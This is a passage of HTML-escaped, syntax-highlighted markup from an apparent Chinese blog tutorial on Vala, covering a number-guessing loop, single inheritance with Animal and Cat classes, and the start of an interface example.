class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e计事件循环 while\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Vala 引用库的方式\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这里我用了随机数类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eint_range\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a number: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think larger.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think smaller.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Match\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"面向对象特性\"\u003e面向对象特性\u003c/h2\u003e\n\u003cp\u003e先说一句,我面向对象课学的一塌糊涂,如果想了解更多,请看官方介绍:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Tutorial#Object_Oriented_Programming\" target=\"_blank\" rel=\"noopener\"\n \u003eProject/Vala/Tutorial#OOP\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意,Vala 基于 GLib,GLib 包含 GObject,GObject 仅支持单向继承。所以,跟 Java 一样,Vala 是单继承+接口。\u003c/p\u003e\n\u003cp\u003e从大家喜闻乐见的开始:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类里面的变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 和 Java 一样,有 private protected public\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 构造函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 析构函数,一般不用写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// ~Animal();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Punish you in the name of the moon, \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// base() 调取父类构造函数,必须写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重写方法需要加 \u0026#34;new\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;meow~\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;graw~\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个是我从网上抄的一段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 接口,也就是不能被实例化的虚类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// abstract 要由继承的类实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 